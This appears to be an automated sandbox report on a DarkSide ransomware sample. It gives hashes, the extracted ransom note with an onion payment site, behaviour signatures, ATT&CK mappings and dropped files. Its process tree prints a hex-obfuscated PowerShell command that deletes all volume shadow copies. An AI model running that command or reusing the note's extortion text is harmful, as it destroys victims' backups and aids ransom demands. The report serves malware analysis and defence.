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Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    27-01-2024 19:37

General

  • Target

    533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

  • Size

    59KB

  • MD5

    0e178c4808213ce50c2540468ce409d3

  • SHA1

    38b5aa765026dffbb603e323333294b5f5efa5ee

  • SHA256

    533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d

  • SHA512

    262a8f4808f6c3499c9eb465b480508ed6b082ddd36cf2e618a9455b5abbc2eb6a8d7b7c2f398faaa62ffb22599a8b2eec0d3137fdec648de37ac4a73e6f44f4

  • SSDEEP

    768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1ylgoVHuY23W58:0x7Fu4/ihrhDTV1yljH5Z58

Malware Config

Extracted

Path

C:\Users\Admin\README.3b86d701.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2 When you open our website, put the following data in the input form: Key: sWzBJoqqzL4Zn2RW3HUX03kMJd3SWd7m4wOpd3qUa7eex62poH0PPw7q8ONVepO7dEN6e5RAd7rcv5gHKhPV1uhNsHoV924TIKvNciRU1S0rZhklOZB2E3fcb6WquR9dJAbdA7WTO3bEaNproivkWdrzaYiIpn006YgPHpQbAPGJP7hiVtD8SBKSoie2u3ErPSC51J4jVLOqDj1nqdGnZjZGHyKE092eobTQ1AVRz6xa93AFD6YzLs8D5M1ixHXr6p3ft5xplmULrkaOCnSLMPolSLDUYYoSK37JhGkr4yPVRxwFTCuG8jUe83t2q19AZM9lcqC4Vly1Yyhhu4EHwk2S3AEJp27xrv0Ba4qlNY1P8tFdoh8yG4HSPX7qBMJ3Twk2NSSBzx4wV07gFVw4jSn1E5GF4y0OSz71wszVEolQWnM6MMCwoBPBCFEnSN4ehk1AKlR8QqjLXR9Qn2t0BHt3iUssq3uAq5JY4O8M9ZHw2bXlULA9hzxIlOYJtw5zuMqi8rvzMRmx5IRGKKorl4MPDpEyOr2fg5rMjn4axW6IKvxN3XecwB4 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (146) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
    "C:\Users\Admin\AppData\Local\Temp\533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1184
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2128

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Modify Registry

1
T1112

Credential Access

Unsecured Credentials

1
T1552

Credentials In Files

1
T1552.001

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    344B

    MD5

    ab73d8c98937c662416ce7ae80e9317e

    SHA1

    e8dfe7bd027dc4076aac7b87161bec17b0835ba4

    SHA256

    9034fef64c01f2b3eb74beb3ec1b3f39916079c682dd3dcc7c6e9abde86122cf

    SHA512

    cafafbe2d1d4c6e5f036a5ba8268c68b13fb556efdcb47781fb6b93e749f4be3a0daa5a210b1ab4982b85ca50b61125830546852d575b3c3699cf1377812bc06

  • C:\Users\Admin\AppData\Local\Temp\CabFCB.tmp
    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • C:\Users\Admin\AppData\Local\Temp\TarFED.tmp
    Filesize

    171KB

    MD5

    9c0c641c06238516f27941aa1166d427

    SHA1

    64cd549fb8cf014fcd9312aa7a5b023847b6c977

    SHA256

    4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

    SHA512

    936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    f6ecd919b1b6029ac3b5ce24635df58b

    SHA1

    8d83259bf874fa757811b199ce1e05d7a045381e

    SHA256

    72b66989af50aea9afe2fc255b8e5015fcc48743d9dc2f6d426e95af029f0f93

    SHA512

    e534e999dcf555536be114c141cdf9d95bfb9ce4d9eeb664276f2c49f688a1112f6e660e5e7b19256d6f01098291c6dc7191ab2fd4a5c9329ebdd8c2f51f95a5

  • C:\Users\Admin\README.3b86d701.TXT
    Filesize

    1KB

    MD5

    37aecb74544496ba55b7b5f845179642

    SHA1

    1f5ab1aba12fc3c26919f59a788381d9fbdbb0ee

    SHA256

    6bc3ec4b4807424a51807d1fb758939bc153ea8bd121217c8996fa45fc8c6181

    SHA512

    9c0321e528ae839ff160e63e920af69209ed7e90a8a36b4c4b95498dfd51bdb0ac58636d609284ee1d5527ccbed0f56e031c0f8f3adf6a385106e740396c2641

  • memory/1184-62-0x0000000002BF0000-0x0000000002C70000-memory.dmp
    Filesize

    512KB

  • memory/1184-61-0x000007FEF49E0000-0x000007FEF537D000-memory.dmp
    Filesize

    9.6MB

  • memory/1184-63-0x0000000002BF0000-0x0000000002C70000-memory.dmp
    Filesize

    512KB

  • memory/1184-64-0x0000000002BF0000-0x0000000002C70000-memory.dmp
    Filesize

    512KB

  • memory/1184-60-0x0000000002BF0000-0x0000000002C70000-memory.dmp
    Filesize

    512KB

  • memory/1184-65-0x000007FEF49E0000-0x000007FEF537D000-memory.dmp
    Filesize

    9.6MB

  • memory/1184-59-0x000007FEF49E0000-0x000007FEF537D000-memory.dmp
    Filesize

    9.6MB

  • memory/1184-58-0x00000000027E0000-0x00000000027E8000-memory.dmp
    Filesize

    32KB

  • memory/1184-57-0x000000001B600000-0x000000001B8E2000-memory.dmp
    Filesize

    2.9MB